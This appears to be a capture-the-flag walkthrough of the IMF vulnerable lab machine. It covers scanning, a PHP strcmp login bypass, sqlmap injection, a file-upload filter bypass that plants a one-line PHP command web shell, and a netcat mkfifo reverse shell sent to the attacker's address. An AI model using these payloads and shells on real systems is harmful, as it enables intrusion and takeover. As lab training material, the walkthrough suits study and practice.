First, in order to discover which is the machine belonging to IMF:

```
Currently scanning: 192.168.13.0/16   |   Screen View: Unique Hosts

 7 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 420
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------
 192.168.0.1     f4:f2:6d:d5:ea:0a      4     240  TP-LINK TECHNOLOGIES CO.,LTD.
 192.168.0.7     40:8d:5c:e7:95:7c      1      60  GIGA-BYTE TECHNOLOGY CO.,LTD.
 192.168.0.9     08:00:27:a1:f5:e7      1      60  CADMUS COMPUTER SYSTEMS
 192.168.0.4     e4:90:7e:e7:90:9e      1      60  Motorola Mobility LLC, a Lenovo Company

root@kali:~/Security/IMF# ^C
root@kali:~/Security/IMF# nmap -sT -sV 192.168.0.9

Starting Nmap 7.01 ( https://nmap.org ) at 2016-11-05 16:52 CET
Stats: 0:00:11 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 192.168.0.9
Host is up (0.00031s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:A1:F5:E7 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds
```

We explore the website but it seems quite normal, let's fire a Nikto to check if some interesting vulnerabilites are found:

```
root@kali:~/Security/IMF# nikto -host 192.168.0.9
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.9
+ Target Hostname:    192.168.0.9
+ Target Port:        80
+ Start Time:         2016-11-05 17:24:51 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect
against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the
content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the
/images directory. The value is "http://127.0.1.1/images/".
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ Server leaks inodes via ETags, header found with file /icons/README, fields: 0x13f4
0x438c034968a80
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:          2016-11-05 17:25:13 (GMT1) (22 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested


    **********************************************************************
    Portions of the server's headers (Apache/2.4.18) are not in
    the Nikto database or are newer than the known string. Would you like
    to submit this information (*no server specific data*) to CIRT.net
    for a Nikto update (or you may email to sullo@cirt.net) (y/n)? y

+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect
against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the
content of the site in a different fashion to the MIME type
+ ERROR 302: Update failed, please notify sullo@cirt.net of this code.
```

Nothing... We launch Skipfish as well but no interesting results:

```
sudo skipfish -o /root/Security/IMF/skipfish_output http://192.168.0.9/
```

Then, I decide to take a look to the contact page source code and I find:

```
 <section id="service">
       <div class="container">
           <!-- flag1{YWxsdGhlZmlsZXM=} -->
           <div class="service-wrapper">
               <div class="row">
```

Which, after decoding in base64, says: allthefiles

With this hint, we continue taking a look to the code. After reviewing it, we realize about some .js files with names that look like base64 code. Taking the word of the hint, we put together all the names of these files

```
       <script src="js/ZmxhZzJ7YVcxbVl.js"></script>
       <script src="js/XUnRhVzVwYzNS.js"></script>
       <script src="js/eVlYUnZjZz09fQ==.min.js"></script>
```

```
root@kali:~/Security/IMF# echo ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== |
base64 -d
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
```

Decoding it:

```
root@kali:~/Security/IMF# echo aW1mYWRtaW5pc3RyYXRvcg== | base64 -d
```

```
imfadministrator
```

Let's try this directory in the website and... voilá! We have a login page. If we put a random user/password, it says "Invalid user", so let's try some of the users from the company mails of the employees in the contact form.

If we try with user rmichaels and random password, now it says "Invalid password". So now, we know a user and we have to guess the password.

Taking a look at the code, we see the following:

```
Invalid password<form method="POST" action="">
<label>Username:</label><input type="text" name="user" value=""><br />
<label>Password:</label><input type="password" name="pass" value=""><br />
<input type="submit" value="Login">
<!-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. -
Roger -->
</form>
```

So, we know the correct username (rmichaels) from the previous enumeration and now we know that the password is hardcoded, so some somer of comparison is made to validate it.
My first try was Hydra, but no success was expected from that:

```
hydra 192.168.0.9 http-form-post "/imfadministrator:user=^USER^&PASS=^PASS^:Invalid
password" -l rmichaels -P /usr/share/wordlists/rockyou.txt -t 10 -w 30 -o hydra-results.txt
```

After that, if a comparison is made, it is worthy a try to abuse the strcmp() function in PHP. From the PHP documentation and, overall, from this site:
http://danuxx.blogspot.com.es/2013/03/unauthorized-access-bypassing-php-strcmp.html

We conclude that, comparing two strings with strcomp() could provide 3 possible results, as follows:

```
<0 if string1<string2
>0 if string1>string2
null if string1==string2
```

The fact is, as it is stated in that blog, that when the comparison result ends in an error, a null value is given as well. The method to achieve this error is to compare to different types of objects (i.e.: string vs array)

So, capturing the request with Burp and properly modifying it:

```
POST /imfadministrator/ HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0
Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.10/imfadministrator/
Cookie: PHPSESSID=f3s6f0a7fil1t24vtuupg8sgp6
```

```
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31

user=rmichaels&pass[]=testnosense
```

We achieve the post login page where flag3 is offered!

```
flag3{Y29udGludWVUT2Ntcw==}
Welcome, rmichaels
IMF CMS
```

Let's decode:

```
root@kali:~/Security/IMF# echo Y29udGludWVUT2Ntcw== | base64 -d
continueTOcms
```

So, if we continue to the CMS as said, we find a menu of linnks in the form:

Menu: Home | Upload Report | Disavowed list | Logout
https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
Where only “Home”, “Upload Report” and “Disavowed list” are accesible. If we click any of them, we obtain a url like this:

http://192.168.0.10/imfadministrator/cms.php?pagename=home

It looks like it can be vulnerable to something like RFI or LFI. After trying several techniques, including the ones presented in this site:

https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/

I conclude that this way is not optimus.

So, let's try a simple test for a SQLi using this: http://192.168.0.10/imfadministrator/cms.php?pagename=%27 (apostrophe)

The site returns this error:

Warning: mysqli_fetch_row() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/imfadministrator/cms.php on line 29

So, given this hint, let's fire up SQLmap. I tried first with no cookie option but then it says that no injectable parameter seems to be injectable. The thing changes after introducing the PHPSESSID cookie:

```
root@kali:~/Security/IMF# sqlmap --url http://192.168.0.10/imfadministrator/cms.php?pagename=home --cookie "PHPSESSID=f3s6f0a7fil1t24vtuupg8sgp6" --dump


Database: admin
Table: pages
```

```
[4 entries]
+----+----------------------
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | pagename             | pagedata
|
+----+----------------------
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | upload               | Under Construction.
|
| 2  | home                 | Welcome to the IMF Administration.
|
| 3  | tutorials-incomplete | Training classrooms available. <br /><img
src="./images/whiteboard.jpg"><br /> Contact us for training.
|
| 4  | disavowlist          | <h1>Disavowed List</h1><img src="./images/redacted.jpg"><br
/><ul><li>*********</li><li>****** ******</li><li>*******</li><li>****
********</li></ul><br />-Secretary |
+----+----------------------
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[13:13:19] [INFO] table 'admin.pages' dumped to CSV file
'/root/.sqlmap/output/192.168.0.10/dump/admin/pages.csv'
[13:13:19] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.10'

[*] shutting down at 13:13:19
```

Ok, so let's check it:

http://192.168.0.10/imfadministrator/images/whiteboard.jpg

It is a picture of a whiteboard at the end of a classrom, written with different equations and a QR Code. Scanning this QR code with the smart phone, we obtain the 4th flag:

flag4{dXBsb2Fkcjk0Mi5waHA=}

Which, again:

```
root@kali:~/Security/IMF# echo dXBsb2Fkcjk0Mi5waHA= | base64 -d
uploadr942.php
```

Ok, so following the “advice” I go to: http://192.168.0.8/imfadministrator/uploadr942.php, where an upload form is presented.

This form performs several ways of validation for the uploaded file. After tryinng several bypasses (changing the content type to *Content-Type: image/gif*, the first bytes to GIF87a…) I realize that there is a WAF (CrappyWAF) which detects PHP functions, any of them. It detects any function because tests have been made with normal php shells and inverse shells.
Therefore, no function must be included in the shell and a parameter which the function to execute must be passed to it.

So now that we have uploaded our shell, we need to execute it… but where can we find it? Let's do a quick check of directories:

```
root@kali:~/Security/IMF# gobuster -u 192.168.0.8/imfadministrator -w
/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Gobuster v1.1               OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://192.168.0.8/imfadministrator/
[+] Threads      : 10
[+] Wordlist     : /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
=====================================================
/images (Status: 301)
/uploads (Status: 301)
=====================================================
```

But if we try to access directly to the /imfadministrator/uploads directory, a forbidden message is shown but we already know where the files are uploaded and how to refer them.
Hence, uploading the correct PHP shell, which means: no functions, only a parameter passed through the ulr and a echo of it with double inverse commas (``) to refer this as a system command in order to bypass the execution restriction.
Eventually, the winner request with every bypass technique applied is as follows:

```
POST /imfadministrator/uploadr942.php HTTP/1.1
Host: 192.168.0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0
Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.8/imfadministrator/uploadr942.php
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------
7534992171850118911675000079
Content-Length: 386

-----------------------------7534992171850118911675000079
Content-Disposition: form-data; name="file"; filename="c98.php%00.gif"
Content-Type: image/gif

GIF87a

<?php

$cmd=$_GET['cmd'];
echo `$cmd`;
?>

-----------------------------7534992171850118911675000079
```

```
Content-Disposition: form-data; name="submit"

Upload
-----------------------------7534992171850118911675000079--
```

And the response to this request:

```
HTTP/1.1 200 OK
Date: Sun, 13 Nov 2016 20:04:11 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 449
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>File Uploader</title>
</head>
<body>
<h1>Intelligence Upload Form</h1>
File successfully uploaded.
<!-- ea6d61d51dbe --><form id="Upload" action="" enctype="multipart/form-data" method="post">
        <p>
                <label for="file">File to upload:</label>
                <input id="file" type="file" name="file">
        </p>

   <p>
        <input id="submit" type="submit" name="submit" value="Upload">
   </p>
</form>

</body>
</html>
```

Let's see if we can execute commands in this way then, refering to the proper filename:

<u>REQUEST</u>

```
GET /imfadministrator/uploads/ea6d61d51dbe.gif?cmd=id HTTP/1.1
Host: 192.168.0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
```

RESPONSE

```
HTTP/1.1 200 OK
Date: Sun, 13 Nov 2016 20:04:36 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 64
Connection: close
Content-Type: text/html; charset=UTF-8

GIF87a

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

So it works!! The rest of it to obtain the flag5 is trivial:

```
GET /imfadministrator/uploads/ea6d61d51dbe.gif?cmd=ls HTTP/1.1
Host: 192.168.0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0
Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

HTTP/1.1 200 OK
Date: Sun, 13 Nov 2016 20:04:44 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 183
Connection: close
Content-Type: text/html; charset=UTF-8

GIF87a

2e46a2f17d4c.jpg
67d31be08c6e.gif
697ebd812a18.jpg
a1fe8b9f5e75.gif
ad4592ae9683.jpg
b0470bedb384.gif
c2212ed41b96.jpg
ea6d61d51dbe.gif
fca58c5e7241.jpg
flag5_abc123def.txt
```

And finally, executing: http://192.168.0.8/imfadministrator/uploads/ea6d61d51dbe.gif?cmd=cat%20flag5_abc123def.txt

We obtain: GIF87a **flag5{YWdlbnRzZXJ2aWNlcw==}**

Decripting:

```
root@kali:~/Security/IMF# echo YWdlbnRzZXJ2aWNlcw== | base64 -d
agentservices
```

At this point, this hint must be refering to something in the machine, so I try to obtain a reverse shell in a well known way;

```
http://192.168.0.8/imfadministrator/uploads/ea6d61d51dbe.gif?cmd=rm%20-f%20%2Ftmp%2Ff%3B%20mkfifo%20%2Ftmp%2Ff%20%3B%20cat%20%2Ftmp%2Ff%20|%20%2Fbin%2Fsh%20-i%202%3E%261%20|%20nc%20192.168.0.11%209997%20%3E%20%2Ftmp%2Ff
```

And succeed!

Let's find out what is the meaning of flag5, maybe:

```
$ locate agent
/bin/systemd-tty-ask-password-agent
/etc/xinetd.d/agent
/lib/systemd/systemd-cgroups-agent
/lib/systemd/system/mail-transport-agent.target
/usr/bin/pkttyagent
/usr/bin/ssh-agent
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/libpolkit-agent-1.so.0
/usr/lib/x86_64-linux-gnu/libpolkit-agent-1.so.0.0.0
/usr/local/bin/agent
/usr/share/bash-completion/completions/cfagent
/usr/share/doc/libpolkit-agent-1-0
/usr/share/doc/libpolkit-agent-1-0/changelog.Debian.gz
/usr/share/doc/libpolkit-agent-1-0/copyright
/usr/share/man/man1/pkttyagent.1.gz
/usr/share/man/man1/ssh-agent.1.gz
/usr/share/man/man1/systemd-tty-ask-password-agent.1.gz
/usr/share/upstart/sessions/ssh-agent.conf
/usr/src/linux-headers-4.4.0-31/arch/mips/include/asm/sn/agent.h
/usr/src/linux-headers-4.4.0-42/arch/mips/include/asm/sn/agent.h
/usr/src/linux-headers-4.4.0-45/arch/mips/include/asm/sn/agent.h
/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.list
/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.md5sums
/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.shlibs
/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.symbols
/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.triggers
/var/lib/lxcfs/cgroup/blkio/release_agent
/var/lib/lxcfs/cgroup/cpu,cpuacct/release_agent
/var/lib/lxcfs/cgroup/cpuset/release_agent
/var/lib/lxcfs/cgroup/devices/release_agent
/var/lib/lxcfs/cgroup/freezer/release_agent
/var/lib/lxcfs/cgroup/hugetlb/release_agent
/var/lib/lxcfs/cgroup/memory/release_agent
/var/lib/lxcfs/cgroup/name=systemd/release_agent
/var/lib/lxcfs/cgroup/net_cls,net_prio/release_agent
/var/lib/lxcfs/cgroup/perf_event/release_agent
```

/var/lib/lxcfs/cgroup/pids/release_agent